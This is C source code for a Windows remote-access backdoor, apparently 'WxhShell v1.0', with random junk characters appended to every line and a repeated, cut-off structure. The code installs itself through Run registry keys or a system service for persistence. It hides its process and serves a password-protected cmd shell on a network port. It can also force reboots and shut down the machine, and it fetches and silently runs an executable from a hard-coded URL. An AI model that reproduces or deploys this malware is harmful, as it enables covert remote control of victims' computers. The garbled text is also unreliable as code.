    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VOiphw`  
    else { Zw3|HV(so  
    closesocket(wsh); ;xRyONt  
    ExitThread(0); cEN^H  
    } Z]6D0b  
    break; yWs/~5[F  
    } }`eeItI+  
  // 获取shell 9*x9sfCv9  
  case 's': { [m"X*Z F  
    CmdShell(wsh); .c',?[S/vH  
    closesocket(wsh); $;">/ "7m  
    ExitThread(0); Y8N&[L[z&  
    break; Z<wg`  
  } n b{8zo  
  // 退出 yf$7<gwX  
  case 'x': { #(A>yW702  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qv<VKJTi6]  
    CloseIt(wsh); uo%zfi?  
    break; Sz . _XY^  
    } 6tJM*{$$H  
  // 离开 |_A35"v  
  case 'q': { 3j3AI 7c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9K&b1O@Aj  
    closesocket(wsh); UR\*KR;yM  
    WSACleanup(); j jwY{jV  
    exit(1); `,|7X]%b  
    break; 5H5< ft,  
        } c1Hv^*Y  
  } )9*-Q%zc  
  } Io:xG6yG  
N@) D,~  
  // 提示信息 4RK^efnp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1b't"i M  
} ;TR.UUT  
  } a7CJ~8-1K  
m/{rmtA4  
  return; w,P2_xk`  
} c-3? D;  
'tdjPdw  
// shell模块句柄 Lkb?,j5  
int CmdShell(SOCKET sock) BEY}mR]  
{ AKHi$Bk  
STARTUPINFO si; )D@ NX/}  
ZeroMemory(&si,sizeof(si)); Y/4B*>kl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yNqrL?i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VMNihx0FJ  
PROCESS_INFORMATION ProcessInfo; Y`_6Ny="  
char cmdline[]="cmd"; p3-sEIw}Ru  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EBn7waBS  
  return 0; -yC},tK  
} _E1:3 N|  
.|rpj&>g  
// 自身启动模式 LsLsSV  
int StartFromService(void) jKtbGVZ 7r  
{ ^y?? pp<1J  
typedef struct 5ecqJ  
{ VJPt/Dy{  
  DWORD ExitStatus; 8L&#<Ol  
  DWORD PebBaseAddress; t n}9(Oa)  
  DWORD AffinityMask; JU~l  
  DWORD BasePriority; {% ;tN`{M  
  ULONG UniqueProcessId; Va{`es)hky  
  ULONG InheritedFromUniqueProcessId; .<tb*6rX>  
}   PROCESS_BASIC_INFORMATION; PB`94W  
)Z]8SED  
PROCNTQSIP NtQueryInformationProcess; ?{+}gS^  
1_F2{n:yp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DSQ2z3s2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,Z3.Le"  
Y(-+>>j_  
  HANDLE             hProcess; >`t |a  
  PROCESS_BASIC_INFORMATION pbi; /Jo*O=Lpo  
f):|Ad|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;ASlsUE\)  
  if(NULL == hInst ) return 0; OpiN,>;  
**oN/5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "EA%!P:d,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a*o=,!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UD .$C  
g4U%(3,>D  
  if (!NtQueryInformationProcess) return 0; zHyM@*Gf(  
G"C'/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o8Tt|Lxb$8  
  if(!hProcess) return 0; .)Du ;  
p6sXftk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k3u3X~u  
SkS vu}  
  CloseHandle(hProcess); Id9hC<8$dq  
XC~|{d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A?Uyj  
if(hProcess==NULL) return 0; 0*+i~g,Kl@  
g_-Y- .M  
HMODULE hMod; -MeGJX:^I  
char procName[255]; $2\ OBc=  
unsigned long cbNeeded; `rQA9;Tn2  
VBy=X\w]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V:yia^1  
rry 33  
  CloseHandle(hProcess); CGPPo;RjK  
)$Mgp *?  
if(strstr(procName,"services")) return 1; // 以服务启动 Ia[e 7  
1_f(;WOg  
  return 0; // 注册表启动 @/7tN3O  
} eR =P  
LG@5Z-  
// 主模块 L%Me wU0TZ  
int StartWxhshell(LPSTR lpCmdLine) /wKL"M-%  
{ lor jMS  
  SOCKET wsl; U+URj <)  
BOOL val=TRUE; fgq#Oi}  
  int port=0; 6> X7JMRY  
  struct sockaddr_in door; w8c71C  
YG$Y4h" @"  
  if(wscfg.ws_autoins) Install(); jq%Qc9y  
3u _[=a  
port=atoi(lpCmdLine); MoavA 3`  
l jQru ^(u  
if(port<=0) port=wscfg.ws_port; zcy!YB  
pFx7URZA  
  WSADATA data; 5v6*.e'p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7"FsW3an  
=:uK$>[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X=8y$Yy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n~@;[=o?5  
  door.sin_family = AF_INET; P|l62!m<   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I^emH+!MW  
  door.sin_port = htons(port); I& DEF*  
[}|x@ v9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !Qy%sY  
closesocket(wsl); nd}[X[ay  
return 1; Il`35~a  
} =# <!s!  
tDJtsOL  
  if(listen(wsl,2) == INVALID_SOCKET) { TY"8.vd  
closesocket(wsl); f,9/Yg_  
return 1; jZx.MBVy]  
} ")}^\O m  
  Wxhshell(wsl); xk7 MMRb  
  WSACleanup(); iz.J._&  
;=fOyg  
return 0; I<Wp,E9G#  
Op0n.\>  
} p(=}Qqdr8  
yb\T< *  
// 以NT服务方式启动 sIJl9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oc7&iL  
{ aJdd2,e  
DWORD   status = 0; H,u{zU')  
  DWORD   specificError = 0xfffffff; %-1-y]R|  
m:SG1m_6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zk#"n&u0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r~nD%H:}P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oR}cE Sr  
  serviceStatus.dwWin32ExitCode     = 0; i&=I5$  
  serviceStatus.dwServiceSpecificExitCode = 0; <Nwqt[.  
  serviceStatus.dwCheckPoint       = 0; JFewOt3  
  serviceStatus.dwWaitHint       = 0; I&vD >a5#  
]Dec/Nnj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y(^t&tgjS  
  if (hServiceStatusHandle==0) return; : 7>oFz  
42]hX9E  
status = GetLastError(); _UI*W&*  
  if (status!=NO_ERROR) xq$(=WPI  
{ `ECY:3"$KA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {%Cb0Zh  
    serviceStatus.dwCheckPoint       = 0; Vq-W|<7C=  
    serviceStatus.dwWaitHint       = 0; w`KqB(36  
    serviceStatus.dwWin32ExitCode     = status; !LJEo>D  
    serviceStatus.dwServiceSpecificExitCode = specificError; u a%@Ay1|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P|j|0o,8p  
    return; Cw$0XyO  
  } n/9.;9b$I  
`xv2,Z9<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UI2TW)^2  
  serviceStatus.dwCheckPoint       = 0; /o L& <e  
  serviceStatus.dwWaitHint       = 0; MD|T4PPz,}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z uFk}R"x  
} ?TWve)U  
*^ aEUp6&  
// 处理NT服务事件,比如:启动、停止 h @AKfE!\~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !$n@-  
{ /~~A2.=.  
switch(fdwControl) fVJlA  
{ 3V uoDmG  
case SERVICE_CONTROL_STOP: O"^3,-  
  serviceStatus.dwWin32ExitCode = 0;  R.x^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vG'6?%38  
  serviceStatus.dwCheckPoint   = 0;  3-~*  
  serviceStatus.dwWaitHint     = 0; WoV"&9y  
  { Z=ZTSl   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pmwVVUEQ  
  } I%(YR"  
  return; ^Y%'"QwJS  
case SERVICE_CONTROL_PAUSE: :Oiz|b(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ml,FBBGq|-  
  break; u}r>?/V!  
case SERVICE_CONTROL_CONTINUE: ]y0bgKTK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; epN!+(v  
  break; JkShtLEr  
case SERVICE_CONTROL_INTERROGATE: 2NMg+Lt8v  
  break; p~'iK4[&6  
}; >V%lA3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6;:z?Q  
} \1Xr4H u  
pq"Z,9,F%  
// 标准应用程序主函数 zEVQ[y6BcM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zsM2R"[X  
{ %8O1sF  
PfR|\{(  
// 获取操作系统版本 2t7P| b~V1  
OsIsNt=GetOsVer(); g ?.y7!m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !MXn&&e1  
LUs)"ZAi|  
  // 从命令行安装 /9pN.E  
  if(strpbrk(lpCmdLine,"iI")) Install(); =fRC$  
ObPXVqG"?  
  // 下载执行文件 %g_ )_ ~  
if(wscfg.ws_downexe) { 8KyRD1 (-R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _jb' HP  
  WinExec(wscfg.ws_filenam,SW_HIDE); {=%,NwPs  
} aP$it 6Z  
n nOgmI7  
if(!OsIsNt) { 8TBv~Q u  
// 如果时win9x,隐藏进程并且设置为注册表启动 efr9  
HideProc(); Rtu"#XcBw+  
StartWxhshell(lpCmdLine); n!-]f.=P  
} 6& (bL<8b  
else dAWB.#  
  if(StartFromService()) KS'n$  
  // 以服务方式启动 ;FGS(.mjlC  
  StartServiceCtrlDispatcher(DispatchTable); ^GpLl   
else de/oK c  
  // 普通方式启动 DaS~bweMw  
  StartWxhshell(lpCmdLine); f\;w(_  
Z=9<esx  
return 0; 2$OV`qy@?  
} wrQ0 2?  
1oc@]0n  
g#k@R'7E  
\ 5.nr*5  
=========================================== )n6,uTlOw  
h2-v.Tjf  
}_Ci3|G>%D  
7qSnP 30}  
Sse%~:FL  
7@&mGUALO  
" 9^u}~e #(  
E~@&&d U8  
#include <stdio.h> ' 7Mz]@  
#include <string.h> Ze!/b|`xI  
#include <windows.h> O _ C<h  
#include <winsock2.h> BG6.,'~7o  
#include <winsvc.h> -5oYGLS$y3  
#include <urlmon.h> c,^W/:CQAB  
*knN?`(x  
#pragma comment (lib, "Ws2_32.lib") CNe(]HIOH  
#pragma comment (lib, "urlmon.lib") kQ]4Bo  
0&u=(;Dr\  
#define MAX_USER   100 // 最大客户端连接数 bY-koJo  
#define BUF_SOCK   200 // sock buffer d"yJ0F  
#define KEY_BUFF   255 // 输入 buffer 97[wz C,  
?W_8 X2(`  
#define REBOOT     0   // 重启 R; w$_1  
#define SHUTDOWN   1   // 关机 !1ZItJ74#  
^7uXpqQBr  
#define DEF_PORT   5000 // 监听端口 <5E)6c_W)  
:>}7^1I  
#define REG_LEN     16   // 注册表键长度 @SH[<c  
#define SVC_LEN     80   // NT服务名长度 XuWX@cK  
.]H/u "d  
// 从dll定义API ]4ck)zlv   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x<`^4|<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lVuBo&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1`1jSx5}.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a ~YrQI-@  
/!JxiGn  
// wxhshell配置信息 sSf;j,7V  
struct WSCFG { ^OV!Q\j.q  
  int ws_port;         // 监听端口 [,MaAB  
  char ws_passstr[REG_LEN]; // 口令 L8q#_k  
  int ws_autoins;       // 安装标记, 1=yes 0=no g&S> Wq%L  
  char ws_regname[REG_LEN]; // 注册表键名 LGw-cX #  
  char ws_svcname[REG_LEN]; // 服务名 H<}|n1w<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  ?H!jKX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Nd]RbX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TMD\=8Na  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,RDWx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9_?<T;]"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _M&n~ r  
9B![l=Gh  
}; ZeY|JH1  
M3elog:M  
// default Wxhshell configuration fK~8h  
struct WSCFG wscfg={DEF_PORT, yZ!~m3Q  
    "xuhuanlingzhe", qRgFVX+vc  
    1, w:9`R<L  
    "Wxhshell", 5VpqDL~d  
    "Wxhshell", <& 3[|Ca  
            "WxhShell Service", [ #ih o(/  
    "Wrsky Windows CmdShell Service", fN@ZJ~F%j  
    "Please Input Your Password: ", P* i 'uN  
  1, <2oMk#Ng^  
  "http://www.wrsky.com/wxhshell.exe", & kVa*O  
  "Wxhshell.exe" Qn|8Ic` *  
    }; ~Ad2L*5S  
!4`:(G59  
// 消息定义模块 }z#M!~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mZXtHFMu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; </Y(4Xwf=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }t"K(oamm  
char *msg_ws_ext="\n\rExit."; g_n_Qlo  
char *msg_ws_end="\n\rQuit."; J5{  
char *msg_ws_boot="\n\rReboot..."; Wuo:PX'/9  
char *msg_ws_poff="\n\rShutdown..."; #'},/Lm@  
char *msg_ws_down="\n\rSave to "; qO38vY){  
BQ<\[H;  
char *msg_ws_err="\n\rErr!"; ?(U;T!n  
char *msg_ws_ok="\n\rOK!"; JU;`c>8=)  
@ ;@~=w  
char ExeFile[MAX_PATH]; -T;^T1  
int nUser = 0; Q=>5@sZB  
HANDLE handles[MAX_USER]; PjX V.gz  
int OsIsNt; N34-z|"q  
4DDBf j  
SERVICE_STATUS       serviceStatus; E|>-7k")  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;   NV-l9  
WO{7/h</  
// 函数声明 pouXt-%2X  
int Install(void); q.<)0nk  
int Uninstall(void); /P-#y@I  
int DownloadFile(char *sURL, SOCKET wsh); 9D &vxKE  
int Boot(int flag); *5 9|  
void HideProc(void); */JYP +  
int GetOsVer(void); z.\r7  
int Wxhshell(SOCKET wsl); rW|%eT*/'A  
void TalkWithClient(void *cs); {chZ&8)f  
int CmdShell(SOCKET sock); d>mT+{3  
int StartFromService(void); >Ut: -}CS  
int StartWxhshell(LPSTR lpCmdLine); SOX7  
g\q4-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qBcbMa9m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YjnQ@IfIH  
SUIJ{!F/  
// 数据结构和表定义 `R xCs`  
SERVICE_TABLE_ENTRY DispatchTable[] = &;pM<h  
{ ?% 8%1d  
{wscfg.ws_svcname, NTServiceMain}, \.oJ/++  
{NULL, NULL} 5M~+F"Hl  
}; ,?Ie!r$6  
l5=ih9u  
// 自我安装 wkPjMmW+!  
int Install(void) CbW[_\  
{ [&4+ <Nl'  
  char svExeFile[MAX_PATH]; '_V9FWDZ  
  HKEY key; lyFlJmi,r  
  strcpy(svExeFile,ExeFile); ~OsLbz:  
%o4v} mzV  
// 如果是win9x系统,修改注册表设为自启动 p-_9I7?  
if(!OsIsNt) { 8m=R" %h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ `1` E1X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }aVzr}!  
  RegCloseKey(key); lw gwdB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E:M,nSc)53  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4eB oR%2o  
  RegCloseKey(key); 6it [i@*"  
  return 0; YmFg#eS  
    } JFO,Q -y\  
  } 1fsNQ!vQP  
} =n ,1*  
else { !W8=\:D[  
C>x)jDb?  
// 如果是NT以上系统,安装为系统服务 ||*F. p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2L;=wP2?{  
if (schSCManager!=0) E9>z.vV   
{ Lfcy#3!  
  SC_HANDLE schService = CreateService IDJ2epW*;  
  ( ^X+qut+~  
  schSCManager, [e ztu9  
  wscfg.ws_svcname, gm,AH85  
  wscfg.ws_svcdisp, i ]8bj5j{  
  SERVICE_ALL_ACCESS, Vt3*~Beb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?wlRHVZ  
  SERVICE_AUTO_START, {]8|\CcY?  
  SERVICE_ERROR_NORMAL, (y6q}#<  
  svExeFile, 62,dFM7  
  NULL, *xpn-hCp<  
  NULL, P*?|E@;s`  
  NULL, WA1d8nl  
  NULL, =No#/_  
  NULL ~GX ]K H  
  ); oy#(]K3`O  
  if (schService!=0) QICxSk  
  { T?f{.a)  
  CloseServiceHandle(schService); P (7Q8i'  
  CloseServiceHandle(schSCManager); # $k1w@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yb`b /BMR  
  strcat(svExeFile,wscfg.ws_svcname); (0#$%US\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !~%DR~^`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U ^GVz%\  
  RegCloseKey(key); z8'zH>  
  return 0; q78OP}  
    } o+x! (  
  } @v@F%JCZ  
  CloseServiceHandle(schSCManager); _eq$C=3Ta  
} #BcUE?K*N  
} 41d+z>a]  
lEwQj[ k  
return 1; `:~Wu/Ogr  
} GRYw_}Aa  
w{dRf!b69  
// 自我卸载 M&hNkJK*G  
int Uninstall(void) 'R'hRMD9o  
{ ,aUbB8  
  HKEY key; 0fBwy/:  
SPdEO3  
if(!OsIsNt) { 2jC:uk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ogQfzk  
  RegDeleteValue(key,wscfg.ws_regname); Z}0xK6  
  RegCloseKey(key); gsEcvkj*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LFxk.-{=  
  RegDeleteValue(key,wscfg.ws_regname); \+sa[jK  
  RegCloseKey(key); ;A@DE@^5w  
  return 0; F.aG7  
  } N0^SWA|S  
} bri8o"  
} +aEm]=3  
else { $ -<(geI  
9M7P|Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #yR&|*@  
if (schSCManager!=0) 0\Jeyb2dl  
{ "|dhmV[;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); psmDGSm,&  
  if (schService!=0) Or?c21un  
  { )V>OND  
  if(DeleteService(schService)!=0) { |hi,]D^Kc  
  CloseServiceHandle(schService); Kf[.@_TD<1  
  CloseServiceHandle(schSCManager); q'+ARW48  
  return 0; T-ST M"~%  
  } sCY  
  CloseServiceHandle(schService); 7bO>[RQB  
  } gI2'[OU  
  CloseServiceHandle(schSCManager); _<mY|  
} ?t6wozib2  
} uQn1kI[y  
n!~ $Z/  
return 1; 8]vut{  
} 4XVwi<)  
9#hp]0S6  
// 从指定url下载文件 |y0k}ed  
int DownloadFile(char *sURL, SOCKET wsh) tw<Oy^ i  
{ ak_y:O|  
  HRESULT hr; O%>*=h`P  
char seps[]= "/"; ge?or]T1S  
char *token; Z8ivw\|M8  
char *file; tKe-Dk9  
char myURL[MAX_PATH]; 9)S3{i6w  
char myFILE[MAX_PATH]; zb4@U=?w}  
%>9L}OAm  
strcpy(myURL,sURL); [QQM/?  
  token=strtok(myURL,seps); ~F,Y BX  
  while(token!=NULL) d`flYNg4  
  { TW(X#T@Z6I  
    file=token; { ?jXPf  
  token=strtok(NULL,seps); ic!% }S?  
  } 4[kyzz x  
N;-%:nC  
GetCurrentDirectory(MAX_PATH,myFILE); BxV>s+o&]  
strcat(myFILE, "\\"); uK(]@H7~!c  
strcat(myFILE, file); n CX{tqy   
  send(wsh,myFILE,strlen(myFILE),0); eXnSH$uI  
send(wsh,"...",3,0); ..nVViZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wy:Gy9\  
  if(hr==S_OK) '-N 5F  
return 0; =8*ru\L:hr  
else g| 3bM  
return 1; sxRKWM@4  
GJQ>VI2cY  
} fDW:|%{Y,  
]ke9ipj]:  
// 系统电源模块 /8l@n dZf  
int Boot(int flag) ST[TKL<]  
{ S!$S'{f<  
  HANDLE hToken; y5aPs z  
  TOKEN_PRIVILEGES tkp; pT~3< ,  
H}G 9gi  
  if(OsIsNt) { :8/ 6dx@Y(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P* &0HbJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d*6/1vyjT  
    tkp.PrivilegeCount = 1; uZ3do|um  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z(%tu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #7'k'(  
if(flag==REBOOT) { ~&ns?z>x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /E\04Bs  
  return 0; (*6 .-Xn  
} 2-Q5l*  
else { zd$?2y8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hu6Qr  
  return 0; . IY@Q  
} ey9hrRMR  
  } mP6}$ D  
  else { 5+oY c-  
if(flag==REBOOT) { 8:S+*J[gSn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {t! &x:  
  return 0; V;CRs\aYf  
} "mE/t  (  
else { i!UT =  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E24}?t^|  
  return 0; F[jqJzCz  
} k1yqe rA  
} IOC$jab@  
`5Z'8^  
return 1; /!t:MK;  
} DxN\ H"  
cc`u{F9  
// win9x进程隐藏模块 /&47qU4PJ  
void HideProc(void) wVI_SQ<8V  
{ 8mdVh\i!Kf  
h/:LC 7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9yTDuhJ6  
  if ( hKernel != NULL ) Ho*B<#&(A|  
  { -Q<OSa='  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @@\px66  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  HRbv%  
    FreeLibrary(hKernel); <<gW`KF   
  } [hot,\+f  
<wFmfrx+v  
return; `DSFaBj,  
}  gsi2  
KTmwkZcfYD  
// 获取操作系统版本 q)C Xu  
int GetOsVer(void) adri02C/  
{ H<ovIMd  
  OSVERSIONINFO winfo; IaRwPDj6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WEG!;XZ  
  GetVersionEx(&winfo); UfO='&U^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &#u\@Qze  
  return 1; ARnq~E@1  
  else ^jS1g*nrN  
  return 0; u^^jt(j  
} Dt7z<1-)l  
Lh-Y5(c o  
// 客户端句柄模块 SCMvq?9  
int Wxhshell(SOCKET wsl) ]lyQ*gM  
{ ) d'H&c3  
  SOCKET wsh; daSx^/$R  
  struct sockaddr_in client; u^]Gc p  
  DWORD myID; 7 u Q +]d  
go6; _  
  while(nUser<MAX_USER) Df2$2VU  
{ ^e_uprZWm  
  int nSize=sizeof(client); QALr   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @J6r;4|&  
  if(wsh==INVALID_SOCKET) return 1; wKfq'W{  
xqlnHf<G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]xb2W~  
if(handles[nUser]==0) e~># M $  
  closesocket(wsh); ~X<$ l+5  
else ]Y->EME:W  
  nUser++; :TKx>~`  
  } XrMw$_0)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ';.y`{/  
}c= Y<Cdh  
  return 0; \0;w7tdo  
} /?Y4C)G  
n,-*$~{  
// 关闭 socket Mkt_pr  
void CloseIt(SOCKET wsh) %M8Q6  
{ 6kR3[]:16v  
closesocket(wsh); o,J8n;"l  
nUser--; V^n=@CZT9C  
ExitThread(0); %)dp a  
} x+'Ea.^  
%Rr_fSoV  
// 客户端请求句柄 !,b&e  
void TalkWithClient(void *cs) MZX@Gi<S[  
{ C~.\2D`zy  
{H9g&pfv  
  SOCKET wsh=(SOCKET)cs; xi ,fm  
  char pwd[SVC_LEN]; 5BLBcw\;  
  char cmd[KEY_BUFF]; ?l @=}WN  
char chr[1]; f` -vnh^+  
int i,j; e iH&<AH  
' < >Q20  
  while (nUser < MAX_USER) { I'n}6D.M  
9]G~i`QQ  
if(wscfg.ws_passstr) { vGJw/ij'X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E"/k"1@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZtGk Md$  
  //ZeroMemory(pwd,KEY_BUFF); 9 MQwc  
      i=0; |KPNl\%ID  
  while(i<SVC_LEN) { /Gb)BJk!  
Ho&f[T(  
  // 设置超时 S @!z'$&  
  fd_set FdRead; "_BWUY  
  struct timeval TimeOut; !VudZ]Sg  
  FD_ZERO(&FdRead); ?wIEXKI  
  FD_SET(wsh,&FdRead); s6;ZaU  
  TimeOut.tv_sec=8; |vG?H#y  
  TimeOut.tv_usec=0; ehe#"exCB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n1R{[\ >1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w9gfva$&  
(otD4VR_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T|(w-)mv  
  pwd=chr[0]; G(F=6L~;  
  if(chr[0]==0xd || chr[0]==0xa) { w'xPKO$bzR  
  pwd=0; nS.qK/.s  
  break; g86^Z%c(k  
  } -J]N &[  
  i++; hS%oQ)zvE  
    } q!5`9u6  
bG.`>   
  // 如果是非法用户,关闭 socket K^b'<} $|p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); { Rxb_9  
} 7fT_]H8  
~ `{{Z&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {=3'H?$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !{g>g%2!  
=XSupM[T  
while(1) { -B7X;{  
#&K}w 0}k  
  ZeroMemory(cmd,KEY_BUFF); )7E7K%:b,  
(CYQ>)a  
      // 自动支持客户端 telnet标准   E( *CEW.V*  
  j=0; ?4W6TSW-'  
  while(j<KEY_BUFF) { 3Dj>U*fP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mv/ Nz?  
  cmd[j]=chr[0]; 3|URlz  
  if(chr[0]==0xa || chr[0]==0xd) { 7s0y.i~  
  cmd[j]=0; AuBBSk8($  
  break; 00Ye ]j_  
  } !0KN A1w,  
  j++; =C)2DWJ1  
    } e>uq/|.!  
Wh%@  
  // 下载文件 ojIGfQV  
  if(strstr(cmd,"http://")) { J/Ch /Sa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |NFDrm  
  if(DownloadFile(cmd,wsh)) >pq=5Ha&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1wggYX  
  else cy2K#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9!Fg1 h=  
  } [ 4PiQyr  
  else { q((%sWp  
!(j<Y0xo:  
    switch(cmd[0]) { =C^4nP-  
  P}!pmg6V  
